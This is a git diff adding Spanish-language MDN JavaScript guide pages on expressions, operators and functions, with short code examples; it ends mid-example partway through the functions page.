+var o7 = 'Cat' || false;    // t || f devuelve Cat
+</pre>
+
+<p>El siguiente código muestra ejemplos de el operador ! (<code>NOT</code> lógico).</p>
+
+<pre class="brush: js notranslate">var n1 = !true;  // !t devuelve false
+var n2 = !false; // !f devuelve true
+var n3 = !'Cat'; // !t devuelve false
+</pre>
+
+<h4 id="Evaluacion_de_cortocircuito" name="Evaluacion_de_cortocircuito">Evaluación de cortocircuito</h4>
+
+<p>Debido a que las expresiones lógicas se evalúan de izquierda a derecha, se prueban para una posible evaluación de "cortocircuito" utilizando las siguientes reglas:</p>
+
+<ul>
+ <li><code>false</code> &amp;&amp; <em>anything</em> se evalúa en cortocircuito como <code>false</code>.</li>
+ <li><code>true</code> || <em>anything</em> se evalúa en cortocircuito como <code>true</code>.</li>
+</ul>
+
+<p>Las reglas de la lógica garantizan que estas evaluaciones sean siempre correctas. Ten en cuenta que la parte <em>anything</em> de las expresiones anteriores no se evalúa, por lo que los efectos secundarios de hacerlo no surten efecto.</p>
+
+<p>Ten en cuenta que para el segundo caso, en el código moderno puedes usar el nuevo {{JSxRef("Operadores/Nullish_coalescing_operator", "operador de fusión nulo")}} (<code>??</code>) que funciona como <code>||</code>, pero solo devuelve la segunda expresión, cuando la primera es "{{Glossary("Nullish", "nullish")}}", es decir, {{JSxRef("Objetos_globales/null", "null")}}, el valor nulo representa la ausencia intencional de cualquier valor de objeto. Es uno de los valores primitivos de JavaScript y se trata como falso para las operaciones booleanas. o {{JSxRef("Objetos_globales/undefined", "undefined")}} la propiedad global undefined representa el valor "<code>undefined</code>" primitivo. Es uno de los tipos primitivos de JavaScript. Por tanto, es la mejor alternativa para proporcionar valores predeterminados, cuando valores como <code>''</code> o <code>0</code> también son valores válidos para la primera expresión.</p>
+
+<h3 id="Operadores_de_cadena"><a id="Cadena" name="Cadena">Operadores de cadena</a></h3>
+
+<p>Además de los operadores de comparación, que se pueden usar en valores de cadena, el operador de concatenación (+) concatena dos valores de cadena, devolviendo otra cadena que es la unión de los dos operandos de cadena.</p>
+
+<p>Por ejemplo,</p>
+
+<pre class="brush: js notranslate">console.log('mi ' + 'cadena'); // la consola registra la cadena "mi cadena".</pre>
+
+<p>El operador de asignación abreviada <code>+=</code> también se puede utilizar para concatenar cadenas.</p>
+
+<p>Por ejemplo,</p>
+
+<pre class="brush: js notranslate">var mystring = 'alpha';
+mystring += 'bet'; // se evalúa como "alphabet" y asigna este valor a mystring.</pre>
+
+<h3 id="Operador_condicional_ternario"><a id="Condicional" name="Condicional">Operador condicional (ternario)</a></h3>
+
+<p>El {{JSxRef("Operadores/Conditional_Operator", "operador condicional")}} es el único operador de JavaScript que toma tres operandos. El operador puede tener uno de dos valores según una condición. La sintaxis es:</p>
+
+<pre class="syntaxbox notranslate"><em>condition</em> ? <em>val1</em> : <em>val2</em>
+</pre>
+
+<p>Si <code>condition</code> es <code>true</code>, el operador tiene el valor de <code>val1</code>. De lo contrario, tiene el valor de <code>val2</code>. Puedes utilizar el operador condicional en cualquier lugar donde normalmente utilizas un operador estándar.</p>
+
+<p>Por ejemplo,</p>
+
+<pre class="brush: js notranslate">var status = (age &gt;= 18) ? 'adult' : 'minor';
+</pre>
+
+<p>Esta declaración asigna el valor "<code>adult</code>" a la variable <code>status</code> si <code>age</code> es de dieciocho años o más. De lo contrario, asigna el valor "<code>minor</code>" a <code>status</code>.</p>
+
+<h3 id="Operador_coma" name="Operador_coma"><a id="Coma" name="Coma">Operador coma</a></h3>
+
+<p>El {{JSxRef("Operadores/Comma_Operator", "operador coma")}} (<code>,</code>) simplemente evalúa ambos operandos y devuelve el valor del último operando. Este operador se utiliza principalmente dentro de un bucle <code>for</code>, para permitir que se actualicen múltiples variables cada vez a través del bucle. Se considera de mal estilo usarlo en otros lugares, cuando no es necesario. A menudo, en su lugar pueden y se deben utilizar dos declaraciones independientes.</p>
+
+<p>Por ejemplo, si <code>a</code> es un arreglo bidimensional con 10 elementos en un lado, el siguiente código usa el operador <code>coma</code> para actualizar dos variables a la vez. El código imprime los valores de los elementos diagonales en el arreglo:</p>
+
+<pre class="brush: js notranslate">var x = [0,1,2,3,4,5,6,7,8,9]
+var a = [x, x, x, x, x];
+
+for (var i = 0, j = 9; i &lt;= j; i++, j--)
+//                                ^
+  console.log('a[' + i + '][' + j + ']= ' + a[i][j]);
+</pre>
+
+<h3 id="Operadores_unarios"><a id="Unario" name="Unario">Operadores unarios</a></h3>
+
+<p>Una operación unaria es una operación con un solo operando.</p>
+
+<h4 id="delete" name="delete"><code>delete</code></h4>
+
+<p>El operador {{JSxRef("Operadores/delete", "delete")}} elimina la propiedad de un objeto. La sintaxis es:</p>
+
+<pre class="brush: js notranslate">delete object.property;
+delete object[propertyKey];
+delete objectName[index];
+delete property; // legal solo dentro de una declaración with
+</pre>
+
+<p>donde <code>object</code> es el nombre de un objeto, <code>property</code> es una propiedad existente y <code>propertyKey</code> es una cadena o símbolo que hace referencia a una propiedad existente.</p>
+
+<p>La cuarta forma es legal solo dentro de una declaración {{JSxRef("Sentencias/with", "with")}}, para eliminar una propiedad de un objeto, y también para las propiedades del objeto global.</p>
+
+<p>Si el operador <code>delete</code> tiene éxito, elimina la propiedad del objeto. Intentar acceder a él después dará como resultado <code>undefined</code>. El operador <code>delete</code> devuelve <code>true</code> si la operación es posible; devuelve <code>false</code> si la operación no es posible.</p>
+
+<pre class="brush: js notranslate">x = 42; // implícitamente crea window.x
+var y = 43;
+var myobj = {h: 4}; // crea un objeto con la propiedad h
+
+delete x;       // devuelve true (se puede eliminar si se crea implícitamente)
+delete y;       // devuelve false (no se puede borrar si se declara con var)
+delete Math.PI; // devuelve false (no se pueden eliminar propiedades no configurables)
+delete myobj.h; // devuelve true (puede eliminar propiedades definidas por el usuario)
+</pre>
+
+<h5 id="Eliminar_elementos_de_un_arreglo">Eliminar elementos de un arreglo</h5>
+
+<p>Dado que los arreglos solo son objetos, técnicamente es posible <code>delete</code> elementos de ellos. Sin embargo, esto se considera una mala práctica, trata de evitarlo. Cuando eliminas una propiedad de arreglo, la longitud del arreglo no se ve afectada y otros elementos no se vuelven a indexar. Para lograr ese comportamiento, es mucho mejor simplemente sobrescribir el elemento con el valor <code>undefined</code>. Para manipular realmente el arreglo, usa los diversos métodos de arreglo, como {{JSxRef("Objetos_globales/Array/splice", "splice")}}.</p>
+
+<h4 id="typeof" name="typeof"><code>typeof</code></h4>
+
+<p>El {{JSxRef("Operadores/typeof", "operador typeof")}} se utiliza de cualquiera de las siguientes formas:</p>
+
+<pre class="syntaxbox notranslate">typeof operand
+typeof (operand)
+</pre>
+
+<p>El operador <code>typeof</code> devuelve una cadena que indica el tipo de operando no evaluado. <code>operando</code> es la cadena, variable, palabra clave u objeto para el que se devolverá el tipo. Los paréntesis son opcionales.</p>
+
+<p>Supón que defines las siguientes variables:</p>
+
+<pre class="brush: js notranslate">var myFun = new Function('5 + 2');
+var shape = 'round';
+var size = 1;
+var foo = ['Apple', 'Mango', 'Orange'];
+var today = new Date();
+</pre>
+
+<p>El operador <code>typeof</code> devuelve los siguientes resultados para estas variables:</p>
+
+<pre class="brush: js notranslate">typeof myFun;       // devuelve "function"
+typeof shape;       // devuelve "string"
+typeof size;        // devuelve "number"
+typeof foo;         // devuelve "object"
+typeof today;       // devuelve "object"
+typeof doesntExist; // devuelve "undefined"
+</pre>
+
+<p>Para las palabras clave <code>true</code> y <code>null</code>, el operador <code>typeof</code> devuelve los siguientes resultados:</p>
+
+<pre class="brush: js notranslate">typeof true; // devuelve "boolean"
+typeof null; // devuelve "object"
+</pre>
+
+<p>Para un número o cadena, el operador <code>typeof</code> devuelve los siguientes resultados:</p>
+
+<pre class="brush: js notranslate">typeof 62;            // devuelve "number"
+typeof 'Hola mundo';  // devuelve "string"
+</pre>
+
+<p>Para los valores de propiedad, el operador <code>typeof</code> devuelve el tipo de valor que contiene la propiedad:</p>
+
+<pre class="brush: js notranslate">typeof document.lastModified; // devuelve "string"
+typeof window.length;         // devuelve "number"
+typeof Math.LN2;              // devuelve "number"
+</pre>
+
+<p>Para métodos y funciones, el operador <code>typeof</code> devuelve los siguientes resultados:</p>
+
+<pre class="brush: js notranslate">typeof blur;        // devuelve "function"
+typeof eval;        // devuelve "function"
+typeof parseInt;    // devuelve "function"
+typeof shape.split; // devuelve "function"
+</pre>
+
+<p>Para objetos predefinidos, el operador <code>typeof</code> devuelve los siguientes resultados:</p>
+
+<pre class="brush: js notranslate">typeof Date;     // devuelve "function"
+typeof Function; // devuelve "function"
+typeof Math;     // devuelve "object"
+typeof Option;   // devuelve "function"
+typeof String;   // devuelve "function"
+</pre>
+
+<h4 id="void" name="void"><code>void</code></h4>
+
+<p>El {{JSxRef("Operadores/void", "operador void")}} se utiliza de cualquiera de las siguientes formas:</p>
+
+<pre class="syntaxbox notranslate">void (expression)
+void expression
+</pre>
+
+<p>El operador <code>void</code> especifica una expresión que se evaluará sin devolver un valor. <code>expression</code> es una expresión de JavaScript para evaluar. Los paréntesis que rodean la expresión son opcionales, pero es un buen estilo usarlos.</p>
+
+<h3 id="Operadores_relacionales"><a id="Relacional" name="Relacional">Operadores relacionales</a></h3>
+
+<p>Un operador relacional compara sus operandos y devuelve un valor <code>Boolean</code> basado en si la comparación es verdadera.</p>
+
+<h4 id="in"><code>in</code></h4>
+
+<p>El {{JSxRef("Operadores/in", "operador in")}} devuelve <code>true</code> si la propiedad especificada está en el objeto especificado. La sintaxis es:</p>
+
+<pre class="brush: js notranslate">propNameOrNumber in objectName
+</pre>
+
+<p>donde <code>propNameOrNumber</code> es una expresión de cadena, numérica o de símbolo que representa un nombre de propiedad o índice de arreglo, y <code>objectName</code> es el nombre de un objeto.</p>
+
+<p>Los siguientes ejemplos muestran algunos usos del operador <code>in</code>.</p>
+
+<pre class="brush: js notranslate">// Arreglos
+var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
+0 in trees;        // devuelve true
+3 in trees;        // devuelve true
+6 in trees;        // devuelve false
+'bay' in trees;    // devuelve false (debes especificar el número del índice,
+                   // no el valor en ese índice)
+'length' en trees; // devuelve true (la longitud es una propiedad de Array)
+
+// objetos integrados
+'PI' in Math;          // devuelve true
+var myString = new String('coral');
+'length' in myString;  // devuelve true
+
+// Objetos personalizados
+var mycar = { make: 'Honda', model: 'Accord', year: 1998 };
+'make' in mycar;  // devuelve true
+'model' in mycar; // devuelve true
+</pre>
+
+<h4 id="instanceof" name="instanceof"><code>instanceof</code></h4>
+
+<p>El {{JSxRef("Operadores/instanceof", "operador instanceof")}} devuelve <code>true</code> si el objeto especificado es del tipo de objeto especificado. La sintaxis es:</p>
+
+<pre class="syntaxbox notranslate">objectName instanceof objectType
+</pre>
+
+<p>donde <code>objectName</code> es el nombre del objeto para comparar con <code>objectType</code>, y <code>objectType</code> es un tipo de objeto, como {{JSxRef("Date")}} o {{JSxRef("Array")}}.</p>
+
+<p>Utiliza <code>instanceof</code> cuando necesites confirmar el tipo de un objeto en tiempo de ejecución. Por ejemplo, al detectar excepciones, puedes ramificar a diferentes controladores según el tipo de excepción lanzada.</p>
+
+<p>Por ejemplo, el siguiente código usa <code>instanceof</code> para determinar si <code>theDay</code> es un objeto <code>Date</code>. Debido a que <code>theDay</code> es un objeto <code>Date</code>, las instrucciones de la expresión <code>if</code> se ejecutan.</p>
+
+<pre class="brush: js notranslate">var theDay = new Date(1995, 12, 17);
+if (theDay instanceof Date) {
+  // instrucciones a ejecutar
+}
+}
+</pre>
+
+<h3 id="Precedencia_de_los_operadores">Precedencia de los operadores</h3>
+
+<p>La <em>precedencia</em> de los operadores determina el orden en que se aplican al evaluar una expresión. Puedes redefinir la precedencia de los operadores mediante el uso de paréntesis.</p>
+
+<p>La siguiente tabla describe la precedencia de los operadores, de mayor a menor.</p>
+
+<table class="standard-table">
+ <caption>Precedencia de los operadores</caption>
+ <thead>
+  <tr>
+   <th scope="col">Tipo de operador</th>
+   <th scope="col">Operadores individuales</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>miembro</td>
+   <td><code>. []</code></td>
+  </tr>
+  <tr>
+   <td>llamar / crear instancia</td>
+   <td><code>() new</code></td>
+  </tr>
+  <tr>
+   <td>negación / incremento</td>
+   <td><code>! ~ - + ++ -- typeof void delete</code></td>
+  </tr>
+  <tr>
+   <td>multiplicar / dividir</td>
+   <td><code>* / %</code></td>
+  </tr>
+  <tr>
+   <td>adición / sustracción</td>
+   <td><code>+ -</code></td>
+  </tr>
+  <tr>
+   <td>desplazamiento bit a bit</td>
+   <td><code>&lt;&lt; &gt;&gt; &gt;&gt;&gt;</code></td>
+  </tr>
+  <tr>
+   <td>relacional</td>
+   <td><code>&lt; &lt;= &gt; &gt;= in instanceof</code></td>
+  </tr>
+  <tr>
+   <td>igualdad</td>
+   <td><code>== != === !==</code></td>
+  </tr>
+  <tr>
+   <td><code>AND</code> bit a bit</td>
+   <td><code>&amp;</code></td>
+  </tr>
+  <tr>
+   <td><code>XOR</code> bit a bit</td>
+   <td><code>^</code></td>
+  </tr>
+  <tr>
+   <td><code>OR</code> bit a bit</td>
+   <td><code>|</code></td>
+  </tr>
+  <tr>
+   <td><code>AND</code> lógico</td>
+   <td><code>&amp;&amp;</code></td>
+  </tr>
+  <tr>
+   <td><code>OR</code> lógico</td>
+   <td><code>||</code></td>
+  </tr>
+  <tr>
+   <td>condicional</td>
+   <td><code>?:</code></td>
+  </tr>
+  <tr>
+   <td>asignación</td>
+   <td><code>= += -= *= /= %= &lt;&lt;= &gt;&gt;= &gt;&gt;&gt;= &amp;= ^= |= &amp;&amp;= ||= ??=</code></td>
+  </tr>
+  <tr>
+   <td>coma</td>
+   <td><code>,</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Puedes encontrar una versión más detallada de esta tabla, completa con enlaces a detalles adicionales sobre cada operador, en {{JSxRef("Operadores/Operator_Precedence", "Referencia de JavaScript", "#Table")}}.</p>
+
+<h2 id="Expresiones">Expresiones</h2>
+
+<p>Una <em>expresión</em> es cualquier unidad de código válida que se resuelve en un valor.</p>
+
+<p>Toda expresión sintácticamente válida se resuelve en algún valor, pero conceptualmente, hay dos tipos de expresiones: con efectos secundarios (por ejemplo: las que asignan valor a una variable) y las que en algún sentido evalúan y por lo tanto se resuelven en un valor.</p>
+
+<p>La expresión <code>x = 7</code> es un ejemplo del primer tipo. Esta expresión usa el <em>operador</em> = para asignar el valor siete a la variable <code>x</code>. La expresión en sí se evalúa como siete.</p>
+
+<p>El código <code>3 + 4</code> es un ejemplo del segundo tipo de expresión. Esta expresión usa el operador + para sumar tres y cuatro sin asignar el resultado, siete, a una variable.<br>
+ <br>
+ JavaScript tiene las siguientes categorías de expresión:</p>
+
+<ul>
+ <li>Aritméticas: se evalúa como un número, por ejemplo 3.14159. (Generalmente usa {{anch("#Aritméticos", "operadores aritméticos")}}).</li>
+ <li>Cadenas: se evalúa como una cadena de caracteres, por ejemplo, "Fred" o "234". (Generalmente usa {{anch("Cadena", "operadores de cadena")}}).</li>
+ <li>Lógicas: se evalúan como <code>true</code> o <code>false</code>. (A menudo implica {{anch("Logico", "operadores lógicos")}}).</li>
+ <li>Expresiones primarias: palabras clave básicas y expresiones generales en JavaScript.</li>
+ <li>Expresiones del lado izquierdo: los valores del lado izquierdo son el destino de una asignación.</li>
+</ul>
+
+<h3 id="Expresiones_primarias">Expresiones primarias</h3>
+
+<p>Palabras clave básicas y expresiones generales en JavaScript.</p>
+
+<h4 id="this" name="this"><code>this</code></h4>
+
+<p>Utiliza la {{JSxRef("Operadores/this", "palabra clave this")}} para hacer referencia al objeto actual. En general, <code>this</code> se refiere al objeto que llama en un método. Usa <code>this</code> con la notación de punto o entre corchetes:</p>
+
+<pre class="syntaxbox notranslate">this['propertyName']
+this.propertyName
+</pre>
+
+<p>Supongamos que una función llamada <code>validate</code> valida la propiedad <code>value</code> de un objeto, dado el objeto y los valores alto y bajo:</p>
+
+<pre class="brush: js notranslate">function validate(obj, lowval, hival) {
+  if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+    console.log('¡Valor no válido!');
+}
+</pre>
+
+<p>Puedes llamar a <code>validate</code> en el controlador de eventos <code>onChange</code> de cada elemento de formulario, utilizando <code>this</code> para pasarlo al elemento de formulario, como en el siguiente ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Ingresa un número entre 18 y 99:&lt;/p&gt;
+&lt;input type="text" name="age" size=3 onChange="validate(this, 18, 99);"&gt;
+</pre>
+
+<h4 id="Operador_de_agrupación">Operador de agrupación</h4>
+
+<p>El operador de agrupación <code>()</code> controla la precedencia de la evaluación en las expresiones. Por ejemplo, puedes redefinir la multiplicación y la división primero, luego la suma y la resta para evaluar la suma primero.</p>
+
+<pre class="brush:js notranslate">var a = 1;
+var b = 2;
+var c = 3;
+
+// precedencia predeterminada
+a + b * c     // 7
+// evaluado por omisión así
+a + (b * c)   // 7
+
+// ahora prevalece sobre la precedencia
+// suma antes de multiplicar
+(a + b) * c   // 9
+
+// que es equivalente a
+a * c + b * c // 9
+</pre>
+
+<h3 id="Expresiones_del_lado_izquierdo">Expresiones del lado izquierdo</h3>
+
+<p>Los valores de la izquierda son el destino de una asignación.</p>
+
+<h4 id="new" name="new"><code>new</code></h4>
+
+<p>Puedes utilizar el {{JSxRef("Operadores/new", "operador new")}} para crear una instancia de un tipo de objeto definido por el usuario o de uno de los tipos de objeto integrados. Utiliza <code>new</code> de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">var objectName = new objectType([param1, param2, ..., paramN]);
+</pre>
+
+<h4 id="super"><code>super</code></h4>
+
+<p>La {{JSxRef("Operadores/super", "palabra clave super")}} se utiliza para llamar a funciones en el padre de un objeto. Es útil con {{JSxRef("Classes", "clases")}} llamar al constructor padre, por ejemplo.</p>
+
+<pre class="syntaxbox notranslate">super([arguments]); // llama al constructor padre.
+super.functionOnParent([arguments]);
+</pre>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</div>
diff --git a/files/es/web/javascript/guide/funciones/index.html b/files/es/web/javascript/guide/funciones/index.html
new file mode 100644
index 0000000000..9594a71f4c
--- /dev/null
+++ b/files/es/web/javascript/guide/funciones/index.html
@@ -0,0 +1,706 @@
+---
+title: Funciones
+slug: Web/JavaScript/Guide/Funciones
+tags:
+  - Funciones
+  - Guía
+  - JavaScript
+  - Novato
+  - Principiante
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Functions
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</div>
+
+<p class="summary">Las funciones son uno de los bloques de construcción fundamentales en JavaScript. Una función en JavaScript es similar a un procedimiento — un conjunto de instrucciones que realiza una tarea o calcula un valor, pero para que un procedimiento califique como función, debe tomar alguna entrada y devolver una salida donde hay alguna relación obvia entre la entrada y la salida. Para usar una función, debes definirla en algún lugar del ámbito desde el que deseas llamarla.</p>
+
+<p>Consulta también el {{JSxRef("Funciones", "capítulo de referencia exhaustivo sobre funciones de JavaScript")}} para conocer los detalles.</p>
+
+<h2 id="Definir_funciones">Definir funciones</h2>
+
+<h3 id="Declaración_de_función">Declaración de función</h3>
+
+<p>Una <strong>definición de función</strong> (también denominada <strong>declaración de función</strong> o <strong>expresión de función</strong>) consta de la palabra clave {{JSxRef("Sentencias/function", "function")}}, seguida de:</p>
+
+<ul>
+ <li>El nombre de la función.</li>
+ <li>Una lista de parámetros de la función, entre paréntesis y separados por comas.</li>
+ <li>Las declaraciones de JavaScript que definen la función, encerradas entre llaves, <code>{ ... }</code>.</li>
+</ul>
+
+<p>Por ejemplo, el siguiente código define una función simple llamada <code>square</code> ("cuadrado"):</p>
+
+<pre class="brush: js notranslate">function square(number) {
+  return number * number;
+}
+</pre>
+
+<p>La función <code>square</code> toma un parámetro, llamado <code>number</code>. La función consta de una declaración que dice devuelva el parámetro de la función (es decir, <code>number</code>) multiplicado por sí mismo. La instrucción {{JSxRef("Sentencias/return", "return")}} especifica el valor devuelto por la función:</p>
+
+<pre class="brush: js notranslate">return number * number;
+</pre>
+
+<p>Los parámetros primitivos (como un <code>number</code>) se pasan a las funciones <strong>por valor</strong>; el valor se pasa a la función, pero si la función cambia el valor del parámetro, <strong>este cambio no se refleja globalmente ni en la función que llama</strong>.</p>
+
+<p>Si pasas un objeto (es decir, un valor no primitivo, como {{JSxRef("Array")}} o un objeto definido por el usuario) como parámetro y la función cambia las propiedades del objeto, ese cambio es visible fuera de la función, como se muestra en el siguiente ejemplo:</p>
+
+<pre class="brush: js notranslate">function myFunc(theObject) {
+  theObject.make = 'Toyota';
+}
+
+[parcial]var mycar = { make: 'Honda', model: 'Accord', year: 1998 };
+var x, y;
+
+x = mycar.make; // x obtiene el valor "Honda"
+
+myFunc(mycar);
+y = mycar.make; // y obtiene el valor "Toyota"
+                // (la propiedad make fue cambiada por la función)
+</pre>
+
+<h3 id="Expresiones_function">Expresiones <code>function</code></h3>
+
+<p>Si bien la declaración de función anterior sintácticamente es una declaración, las funciones también se pueden crear mediante una {{JSxRef("Operadores/function", "expresión function")}}.</p>
+
+<p>Esta función puede ser <strong>anónima</strong>; no tiene por qué tener un nombre. Por ejemplo, la función <code>square</code> se podría haber definido como:</p>
+
+<pre class="brush: js notranslate">const square = function(number) { return number * number }
+var x = square(4) // x obtiene el valor 16</pre>
+
+<p>Sin embargo, <em>puedes</em> proporcionar un nombre con una expresión <code>function</code>. Proporcionar un nombre permite que la función se refiera a sí misma y también facilita la identificación de la función en el seguimiento de la pila de un depurador:</p>
+
+<pre class="brush: js notranslate">const factorial = function fac(n) { return n &lt; 2 ? 1 : n * fac(n - 1) }
+
+console.log(factorial(3))
+</pre>
+
+<p>Las expresiones <code>function</code> son convenientes cuando se pasa una función como argumento a otra función. El siguiente ejemplo muestra una función <code>map</code> que debería recibir una función como primer argumento y un arreglo como segundo argumento.</p>
+
+<pre class="brush: js notranslate">function map(f, a) {
+  let result = []; // Crea un nuevo arreglo
+  let i; // Declara una variable
+  for (i = 0; i != a.length; i++)
+    result[i] = f(a[i]);
+  return result;
+}
+</pre>
+
+<p>En el siguiente código, la función recibe una función definida por una expresión de función y la ejecuta por cada elemento del arreglo recibido como segundo argumento.</p>
+
+<pre class="brush: js notranslate">function map(f, a) {
+  let result = []; // Crea un nuevo arreglo
+  let i; // Declara una variable
+  for (i = 0; i != a.length; i++)
+    result[i] = f(a[i]);
+  return result;
+}
+const f = function(x) {
+   return x * x * x;
+}
+let numbers = [0, 1, 2, 5, 10];
+let cube = map(f,numbers);
+console.log(cube);</pre>
+
+<p>La función devuelve: <code>[0, 1, 8, 125, 1000]</code>.</p>
+
+<p>En JavaScript, una función se puede definir en función de una condición. Por ejemplo, la siguiente definición de función define <code>myFunc</code> solo si <code>num</code> es igual a <code>0</code>:</p>
+
+<pre class="brush: js notranslate">var myFunc;
+if (num === 0) {
+  myFunc = function(theObject) {
+    theObject.make = 'Toyota';
+  }
+}</pre>
+
+<p>Además de definir funciones como se describe aquí, también puedes usar el constructor {{JSxRef("Function")}} para crear funciones a partir de una cadena en tiempo de ejecución, muy al estilo de {{JSxRef("eval", "eval()")}}.</p>
+
+<p>Un <strong>método</strong> es una función que es propiedad de un objeto. Obten más información sobre objetos y métodos en {{JSxRef("../Guide/Working_with_Objects", "Trabajar con objetos")}}.</p>
+
+<h2 id="Llamar_funciones">Llamar funciones</h2>
+
+<p><em>Definir</em> una función no la <em>ejecuta</em>. Definirla simplemente nombra la función y especifica qué hacer cuando se llama a la función.</p>
+
+<p><strong>Llamar</strong> a la función en realidad lleva a cabo las acciones especificadas con los parámetros indicados. Por ejemplo, si defines la función <code>square</code>, podrías llamarla de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">square(5);
+</pre>
+
+<p>La declaración anterior llama a la función con un argumento de <code>5</code>. La función ejecuta sus declaraciones y devuelve el valor <code>25</code>.</p>
+
+<p>Las funciones deben estar <em>dentro del ámbito</em> cuando se llaman, pero la declaración de la función se puede elevar (cuando aparece debajo de la llamada en el código), como en este ejemplo:</p>
+
+<pre class="brush: js notranslate">console.log(square(5));
+/* ... */
+function square(n) { return n * n }
+</pre>
+
+<p>El ámbito de una función es la función en la que se declara (o el programa completo, si se declara en el nivel superior).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esto solo trabaja cuando se define la función usando la sintaxis anterior (es decir, <code>function funcName() {}</code>). El siguiente código no trabajará.</p>
+
+<p>Esto significa que la elevación de función solo trabaja con <em>declaraciones</em> de función, no con <em>expresiones</em> de función.</p>
+
+<pre class="brush: js example-bad notranslate">console.log(square)    // square se eleva con un valor inicial undefined.
+console.log(square(5)) // Error de tipo no detectado: square no es una función
+const square = function(n) {
+  return n * n;
+}
+</pre>
+</div>
+
+<p>Los argumentos de una función no se limitan a cadenas y números. Puedes pasar objetos completos a una función. La función <code>show_props()</code> (definida en {{JSxRef("../Guide/Working_with_Objects", "Trabajar con objetos", "#Objetos_y_propiedades")}} es un ejemplo de una función que toma un objeto como argumento.</p>
+
+<p>Una función se puede llamar a sí misma. Por ejemplo, aquí hay una función que calcula factoriales de forma recursiva:</p>
+
+<pre class="brush: js notranslate">function factorial(n) {
+  if ((n === 0) || (n === 1))
+    return 1;
+  else
+    return (n * factorial(n - 1));
+}
+</pre>
+
+<p>Luego, podrías calcular los factoriales de <code>1</code> a <code>5</code> de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">var a, b, c, d, e;
+a = factorial(1); // a obtiene el valor 1
+b = factorial(2); // b obtiene el valor 2
+c = factorial(3); // c obtiene el valor 6
+d = factorial(4); // d obtiene el valor 24
+e = factorial(5); // e obtiene el valor 120
+</pre>
+
+<p>Hay otras formas de llamar funciones. A menudo hay casos en los que una función se tiene que llamar dinámicamente, o el número de argumentos de una función varía, o en los que el contexto de la llamada a la función se tiene que establecer en un determinado objeto específico en tiempo de ejecución.</p>
+
+<p>Resulta que las <em>funciones en sí mismas son objetos</em> y, a su vez, estos objetos tienen métodos. (Consulta el objeto {{JSxRef("Function")}}. Uno de estos, el método {{JSxRef("Function.apply", "apply()")}}, se puede utilizar para lograr este objetivo.</p>
+
+<h2 class="deki-transform" id="Ámbito_de_function">Ámbito de <code>function</code></h2>
+
+<p>No se puede acceder a las variables definidas dentro de una función desde cualquier lugar fuera de la función, porque la variable se define solo en el ámbito de la función. Sin embargo, una función puede acceder a todas las variables y funciones definidas dentro del ámbito en el que está definida.</p>
+
+<p>En otras palabras, una función definida en el ámbito global puede acceder a todas las variables definidas en el ámbito global. Una función definida dentro de otra función también puede acceder a todas las variables definidas en su función principal y a cualquier otra variable a la que tenga acceso la función principal.</p>
+
+<pre class="brush: js notranslate">// Las siguientes variables se definen en el ámbito global
+var num1 = 20,
+    num2 = 3,
+    name = 'Chamahk';
+
+// Esta función está definida en el ámbito global
+function multiply() {
+  return num1 * num2;
+}
+
+multiply(); // Devuelve 60
+
+// Un ejemplo de función anidada
+function getScore() {
+  var num1 = 2,
+      num2 = 3;
+
+  function add() {
+    return name + ' anotó ' + (num1 + num2);
+  }
+
+  return add();
+}
+
+getScore(); // Devuelve "Chamahk anotó 5"
+</pre>
+
+<h2 id="Ámbito_y_la_pila_de_funciones">Ámbito y la pila de funciones</h2>
+
+<h3 id="Recursión">Recursión</h3>
+
+<p>Una función se puede referir y llamarse a sí misma. Hay tres formas de que una función se refiera a sí misma:</p>
+
+<ol>
+ <li>El nombre de la función</li>
+ <li>{{JSxRef("Funciones/arguments/callee", "arguments.callee")}}</li>
+ <li>Una variable dentro del ámbito que se refiere a la función</li>
+</ol>
+
+<p>Por ejemplo, considera la siguiente definición de función:</p>
+
+<pre class="brush: js notranslate">var foo = function bar() {
+   // las instrucciones van aquí
+}
+</pre>
+
+<p>Dentro del cuerpo de la función, todos los siguientes son equivalentes:</p>
+
+<ol>
+ <li><code>bar()</code></li>
+ <li><code>arguments.callee()</code></li>
+ <li><code>foo()</code></li>
+</ol>
+
+<p>Una función que se llama a sí misma se conoce como una <em>función recursiva</em>. En cierto modo, la recursividad es análoga a un bucle. Ambas ejecutan el mismo código varias veces y ambas requieren una condición (para evitar un bucle infinito, o más bien, una recursividad infinita en este caso).</p>
+
+<p>Por ejemplo, el siguiente bucle...</p>
+
+<pre class="brush: js notranslate">var x = 0;
+while (x &lt; 10) { // "x &lt; 10" es la condición del bucle
+   // hacer cosas
+   x++;
+}
+</pre>
+
+<p>...se puede convertir en una declaración de función recursiva, seguida de una llamada a esa función:</p>
+
+<pre class="brush: js notranslate">function loop(x) {
+  if (x &gt;= 10) // "x &gt;= 10" es la condición de salida (equivalente a "!(x &lt; 10)")
+    return;
+  // hacer cosas
+  loop(x + 1); // la llamada recursiva
+}
+loop(0);
+</pre>
+
+<p>Sin embargo, algunos algoritmos no pueden ser simples bucles iterativos. Por ejemplo, obtener todos los nodos de una estructura de árbol (como {{web.link("/es/docs/DOM", "DOM")}}) es más fácil a través de la recursividad:</p>
+
+<pre class="brush: js notranslate">function walkTree(node) {
+  if (node == null) //
+    return;
+  // hacer algo con el nodo
+  for (var i = 0; i &lt; node.childNodes.length; i++) {
+    walkTree(node.childNodes[i]);
+  }
+}
+</pre>
+
+<p>En comparación con la función <code>loop</code>, cada llamada recursiva en sí misma hace muchas llamadas recursivas aquí.</p>
+
+<p>Es posible convertir cualquier algoritmo recursivo en uno no recursivo, pero la lógica suele ser mucho más compleja, y hacerlo requiere el uso de una pila.</p>
+
+<p>De hecho, la recursividad en sí misma usa una pila: la pila de funciones. El comportamiento similar a una pila se puede ver en el siguiente ejemplo:</p>
+
+<pre class="brush: js notranslate">function foo(i) {
